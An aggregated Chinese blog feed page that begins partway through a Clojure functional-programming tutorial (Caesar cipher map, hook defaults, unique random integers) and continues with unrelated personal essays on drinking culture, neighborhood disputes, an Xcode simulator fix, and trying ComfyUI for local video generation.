;; => (65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90)

使用 range、map 和 zipmap 构造出偏移量为 5 的凯撒密码对照表。

参考答案
(defn caesar-map [offset]
 (let [alphabet (map Character/toString (range 65 91))
 ciphered (concat (drop offset alphabet) 
 (take offset alphabet))]
 (zipmap alphabet ciphered)))
(caesar-map 5)
;; => {"T" "Y", "K" "P", "Q" "V", "L" "Q", "G" "L", "J" "O", "M" "R", "S" "X", "Y" "D", "Z" "E", "H" "M", "E" "J", "R" "W", "C" "H", "F" "K", "B" "G", "P" "U", "V" "A", "U" "Z", "O" "T", "X" "C", "N" "S", "A" "F", "I" "N", "W" "B", "D" "I"}

(get (caesar-map 5) "A")
;; => "F"

钩子

系统的业务逻辑里有几个关键节点设置了钩子,在特定事件发生时可以执行用户自定义的函数,像这样:

(defn process-large-data [hooks data]
 (let [todo (map process-data (filter valid? data))]
 (if (seq todo)
 ;; todo 非空的时候,执行 todo
 ;; 然后调用 hooks 里的 :on-finish 函数
 (do (doall todo)
 ((:on-finish hooks)))
 ;; todo 为空,即没有要处理的数据 
 ;; 调用 hooks 里的 :on-empty 函数
 ((:on-empty hooks)))))

todo 是 filter 和 map 返回的惰性序列,如果没有被访问就不会执行 process-data。之后通过 seq 检查 todo 是否非空,如果是的话就 doall,这个函数可以执行惰性序列中所有的元素。外层的 do 用来把多个表达式放在一个形式(form)里,不然会被 if 当作多个参数处理。

hooks 是长这样的映射。

{:on-finish (fn [] (println "Finished processing"))
 :on-empty (fn [] (println "Todo is empty"))}

(:on-finish hooks) 把函数从映射里取出来,((:on-finish hooks)) 先把函数取出来,然后执行这个函数。

可以使用 merge 函数将两个映射合并,如果有相同的键,用后一个映射覆盖:

(merge {:a 1 :b 2 :c 3} {:a 2 :b 1})
;; => {:a 2, :b 1, :c 3}

repeat 函数返回重复同一个值的序列,如果不指定重复的次数,就会返回无限长的惰性序列。

(repeat 5 "hello")
;; => ("hello" "hello" "hello" "hello" "hello")

(take 5 (repeat "hello"))
;; => ("hello" "hello" "hello" "hello" "hello")

(repeat "hello")
;; 如果直接访问这个惰性序列
;;(比如:在 REPL 里输入,REPL 会 print 这个序列)
;; 就会造成死循环,(range) 也是同理

使用 merge、repeat 和 zipmap 编写 make-hooks 函数,接收 user-hooks 参数,user-hooks 和上文的 hooks 结构相同,但键可能不全。默认情况下,hooks 中的钩子函数不做任何操作(println 也不能有),除非用户传入了钩子函数。

参考答案
(def hook-keys [:on-finish :on-empty])

(def default-hooks 
 (zipmap hook-keys (repeat (fn []))))

(defn make-hooks 
 ([] default-hooks)
 ([user-hooks]
 (if (seq user-hooks)
 (select-keys 
 (merge default-hooks user-hooks)
 hook-keys)
 default-hooks)))

select-keys 只选择映射中指定的键,如果用户提供了不存在的键,可以用这个函数筛掉。不过不筛问题也不大,反正多余的钩子也不会被调用。

无重复的随机数序列

repeat 函数重复值,repeatedly 函数可以重复执行函数,返回惰性序列。(rand-int n) 返回 [0, n) 区间内的随机整数。5

(take 5 (repeatedly #(rand-int 100)))
;; => (72 56 54 21 89)

loop 和 recur 刚才我们已经见过了。可以把 loop 里类似 let 绑定的向量当作函数的参数和初始值之间的绑定,而 recur 则是递归地调用 loop,recur 的参数数量应该和 loop 的绑定数量相同。

(loop [arg1 0, arg2 "any value" arg3 :not-over]
 (if (> arg1 10)
 {:arg1 arg1 :arg2 arg2 :arg3 :over}
 (recur (inc arg1) "any value" :not-over)))
;; => {:arg1 11, :arg2 "any value", :arg3 :over}

使用任何你能想到的函数,编写 uniquely-rand-int 函数,接收参数 n 和 t,返回由 n 个小于 t 的不重复的随机整数序列。

参考答案

第一种解法,使用 loop 并拒绝已经存在的元素。

(defn uniquely-rand-int [n t]
 (loop [result '()]
 (if (>= (count result) n)
 result
 (let [randint (rand-int t)]
 (if (some #{randint} result)
 (recur result)
 (recur (conj result randint)))))))

第二种解法,使用 set,利用集的特性去重。

(defn uniquely-rand-int [n t]
 (loop [result #{}]
 (if (>= (count result) n)
 (seq result)
 (recur (conj result (rand-int t))))))

第三种解法:

(defn uniquely-rand-int [n t]
 (->> (range t) shuffle (take n)))

第三种解法不仅更简洁,而且不会出现死循环。试一试,如果是前两种解法,在 t 比 n 小的情况下就会出现死循环,但第三种解法只会返回数量不足的序列。

(uniquely-rand-int 5 10)
;; => (6 8 1 3 9)
(uniquely-rand-int 5 1)
;; => (0)

而且第三种解法的时间复杂度是 O(n),瓶颈主要在 shuffle,这个函数底下用的是 Java 的 Collections.shuffle, 时间复杂度为 O(n) 。


  1. 比如 C 语言中 {} 包裹的块。 ↩︎

  2. 不过我对这个说法存疑,因为 C++ 作为 OOP 语言,甚至有方法指针(method pointer)这种东西。 ↩︎

  3. Go 语言的 channel 其实用 FP 以外的方式解决了这个问题 ↩︎

  4. 为什么这个 add(x, x) 没有受到 x = 1 的影响?因为函数的参数是作为值传入的,不是变量引用。add() 接收到的就是两个 0 而不是两个 x。 ↩︎

  5. 你可能注意到了:是的,rand-int 不具有引用透明性,不是函数式的,除非确定种子。 ↩︎

年轻人不大喝白酒

作者 ACEVS
2026年9月29日 13:49

酒桌文化就是儒家君君臣臣父父子子的阶级文化,上下级,权利大小展现和对抗,甲方乙方,谈生意就是谈利益,一般乙方为了钱,甘拜下风,酒杯拿的低一些,老板让下属喝,下属不听话,老板可能炒他鱿鱼,也可能边缘化等等。

还有人提到一种可能,官场不让贪污受贿,有的人担心乌纱帽没了,权利的威力就体现工作上,领导不高兴不开心就破口大骂,下属噤若寒蝉,领导想老子不贪污受贿,爬上来干啥,得提供一些情绪价值吧,喝酒的时候就tm喜欢看着下属,两难的情况,喝多了伤身,不喝怕领导不高兴or边缘化自己。

红白喜事,公司聚会,喝酒,晚辈新人,感觉稍微懂事的就不停地给上级,长辈,有威望的人敬酒,上面随意,自己都是干完,这阶级不是别人定义的,是自己敬出来的。

经济下行,真不错,阶级酒不用喝那么多了,甚至不喝了,可能不高兴的是有了威望地位权利金钱那些人,酒桌上那种霸凌感,拿捏感,胜券在握感,意得志满感,不能通过酒淋漓尽致的表现出来了。

年轻人不用干翻酒杯文化了,挺好的。

我举起一杯水,敬市场下行,科技ai上行。

让座

作者 ONO
2026年9月29日 14:44

我正在咖啡厅码字,又坐在了那个我常坐的长条桌边。

这时候来了一家人,六个成年人带着一个小孩,在看到长条桌边只坐了我一个人,于是他们开始了“表演”。我不得不停下手里正在码字的内容,转而开始观察这一家人。

他们表演的目的很简单——让我离开这个座位,好让他们一家悉数落座。但是我在这种事情上,虽然很会阅读空气,但天生反骨的我就是会“对着干”。

首先是他们在落座前,就把手中大小购物袋扔在桌面上,挤着我的电脑朝我面前推了推,当然他们并不介意,甚至可能觉得我应该会明白他们的“意思”。接着,落座在我对面的老人,开始不停抱怨“周围有这么多空座,但是这个咖啡厅能容下一家人的位置只有这一个。”

我抬头看着他们笑了笑,紧接着两个带孩子的中年人,开始跟家里人安排起座位的分配,不仅故意说得很大声,还有另一个中年人开始帮腔:“哎呀,我干脆坐边上吧,这里有人坐了。”

我继续无视他们的对话,在键盘上敲击着上面那段文字。

“我干脆站着吧,你们先坐着。”那个刚才被我“微笑以对”的老人说着,便起身把自己的座位让给另一个稍微年轻一点的女性。

小孩子开始在长条桌上捣乱,拿起桌面的杂志往桌上胡乱扔起来,但他的父母并没有打算阻止这一切,甚至干脆把他抱着坐在了桌面上。让他在这里尽情地表演着自己的可爱,震动着这段内容像是被凿刻在页面上的。

又是那个老人,大声地问着吧台:“你们这儿还有多的座位吗?我们这么多人,这里怎么坐得下。”

吧台的服务员倒不惯着他们,随口回了一句:“其他空座位都可以坐。”

见我始终没有挪位子的意愿,他们也放弃了挣扎,开始围拢在长条桌旁边,大声地交谈,我戴上耳机,继续码字。

其中一个中年阿姨抱怨自己手机没电了,便开始指责咖啡厅没有充电宝可以借。于是该我反击了,我掏出电脑和手机的充电线,把桌面上的两个插孔都用上,开始给手机和电脑充电。

那个中年阿姨被我这个举动气得忍不住翻了白眼。

僵持了5分钟,他们终于放弃,去了其他桌位分开落座。


其实他们只需要在最开始,礼貌地对我说一句“你好,我们能不能换个座位”,我就让了。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

水枪、锥形桶与小组长

作者 ONO
2026年9月29日 09:30

前几天,目睹了一场争吵。

早上小区会有不同区域负责垃圾倾倒的清洁工,会在等待垃圾转运车收走垃圾后,在小区某处的花坛角落清理垃圾桶。于是他们的手里就拥有了一把“水枪”,高压水枪不仅可以冲洗垃圾桶,还可以截断他人的路。

争吵的伊始,就是一个阿姨想要路过,但正在用水枪洗垃圾桶的清洁工不顾路人,水柱四散,导致路过的人都得等对方停下手里的工作。阿姨不悦,便说了一句:“你先停一停,让大家先走过去。”

这句话一下子就激怒了那个正在清洁垃圾桶的老人,他吼了一句:“你来洗?”然后还故意把水枪抬高,彻底截断了通行的路径。随后他拿着水枪看似洗垃圾桶,把水飞溅得到处都是,滋了等着过路的人一身。阿姨破口大骂,我倒没打算参与他们的争吵。而是掏出电话故意用免提的方式,联系了物管,我就问了一句话:“小区保洁的工作是你们安排的吗?”

见我打电话,拿着水枪像是守关的清洁工立刻停了水,假意已经洗好了垃圾桶,拖着垃圾桶去忙自己的事了。

当然,我只是大概推测这份工作对他来说很重要——因为小区有很多老人,都应聘上岗了小区的清洁工作,不仅仅是有一份工资,更重要的是他们还可以把守属于自己的垃圾桶,可以顺便回收可以贩卖的纸箱、塑料等等。

这几天再在小区遛狗时,这个老头倒是“规矩”了不少,看见有人路过,他都会“不得不”关掉手边的水枪,以免再截断他人的路。


另一个截断路的,是小区的园林工。

前段时间放暑假,因为园林工要用园艺电锯打理绿植,担心小孩子会靠近,园林工配备了锥形桶。一开始,锥形桶还会只放在他们工作区的附近,后来锥形桶放置的区域越来越大,最后演变到“封路”的级别。

每天在小区定时定点散步的人,可不理会挡在路中间的锥形桶,一脚跨过继续走自己的路。园林工立刻上前制止,两边互不相让。一边觉得自己正在工作,有权规定工作区域;另一边则觉得路人自己知道要避开,没有必要故意封路。

吵了半天,终于把物管的人吵来了,我问了物管一句:“这锥形桶是谁许可的?”

物管承认是他们发放的,目的是为了在园林工作时划分区域。

我继续问:“封路也是你们许可的?”

物管不敢回答,只敢命令园林工收走锥形桶,一个劲儿地去劝那个与园林工发生争执的中年男人。

也是因为这件事后,园林工后来再工作的时候都没有再配备锥形桶,只是摆放了一个“正在施工,注意绕行”的提示牌。


昨天在电梯里听到一对母子的对话,儿子对母亲说:

“下周我必须给老师说,我们组的张某某课间休息的时候都在偷偷玩卡。”

他妈妈倒是不介意,就随口搭着话:“你告人家做什么,课间休息大家各玩各的。”

“学校规定的,不准带卡去学校玩。”

“人家也没碍着你。”

“不行,我是小组长。”

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

AI邪修

2026年9月29日 07:46
2026年被视为AI元年,作者以小白视角记录使用豆包、Trae、Qclaw、WorkBuddy、Codex等AI工具的体验,涵盖建站、自动化任务、文案图片处理与AI编程,并提及Qclaw停运后迁移至Marvis,最终将日常任务集中交给WorkBuddy。

open -a Simulator Unable to find application named ‘Simulator’

作者 obaby
2026年9月28日 19:18

osX 27
xcode 27 更新之后,hbuilder 会报下面的错误:
uniapp Command failed: open -a Simulator Unable to find application named 'Simulator'

问题的关键在于新的模拟器不叫Simulator,叫做 Device Hub,要解决这个问题也简单,直接吧Device Hub 复制一份出来 改名叫做Simulator就可以了。

如果模拟器不兼容,通过下面的命令安装universal版本

xcodebuild -downloadPlatform iOS -buildVersion 26.5 -architectureVariant universal

实际效果:

 

 

纺织工,纺织工 — Comfyui初体验

作者 obaby
2026年9月28日 13:32

中秋节,今年的中秋节哪里都没去,就在家呆着。也正因为如此,终于有时间研究了一下comfyui这个东西。

第一次看到这个东西是在腾讯的cnb的网站首页上,基本第一页铺满了comfyui相关的内容。

之前也曾折腾过不少ai相关的东西,局限于自己的硬件环境,太多的东西可远观而不可亵玩焉。这10g的显存跑点东西的确也捉襟见肘,当到处都在鼓吹几十块钱的成本做个漫剧能挣几千的时候,也该来体验下这漫剧到底是怎么玩的了。

comfyui本质上是个工作流引擎,图形化的工作流引擎。介绍完了,更多的内容可以参考官网内容。

当然,晚上也有不少的封装版本,所谓的封装就是继承了python的运行环境,省去了各种部署步骤的繁琐。前几天看到秋叶comfyui 的整合包,想着也能省事一回,就直接下载了这个安装包。

相对来说的确是方便了不少:

comfyui本身也继承了一些工作流,需要注意的是,对接comfyui官方服务器接口的工作流是收费的。

实际生成效果感觉也能说的过去:

即梦:

comfyui 本地模型 Minimax H3:

上面的几个视频用来替换了findu.co 官网的背景视频。

收费的好处就是性能会好很多,基于confyui线上的视频处理模型生成视频效率明显会高很多,例如似水流年提供的创意 老虎追人的这个视频。

还有基于导演工作流生成的视频,勉强能玩,就是显卡性能太差,耗时太长了。

人物的还原度相对来说比较一般,另外,测试音频以及一些资源缺的也比较多。所以实际的效果并不是十分理想,当然,最重要的还是分辨率问题,有钱的话用付费云节点自然会更快更更好。

至于怎么实现工作流,其实就是不断的拖组件,连线,跟纺织工差不多,如果自己不想连,可以直接让ai来实现工作流,自己微调就可以了,毕竟ai万能的时代,没有必要什么东西都自己搞。

显存不足,导致占用了大量的共享内存,好在物理内存相对来说还算是充足。

当然,基于minimax也可以实现动作模拟,原视频:

即梦ai的收费复刻效果:

minimax h3的本地化效果(第一段音轨没有复制,每次生成5s,需要多次生成进行合并):

原图参考,就是头图。

生成效率的确是个大问题,还有一点就是显卡性能导致有时候会卡死,当然,这个卡死我也不知道是真死了还是假死,反正就是没反应了。如果要体验建议至少500G的空闲磁盘空间,目前我在用的各种模型文件占用260G磁盘空间。

下载模型可以考虑使用迅雷,速度还是不错的:

至于怎么提高速度,简单粗暴换显卡,啥?你问多少钱?

 

也不是很贵对吧?对个der啊 ,对!?

想当个新时代的纺织工也没那么容易,毕竟这『纺车』也挺贵的!

❌
❌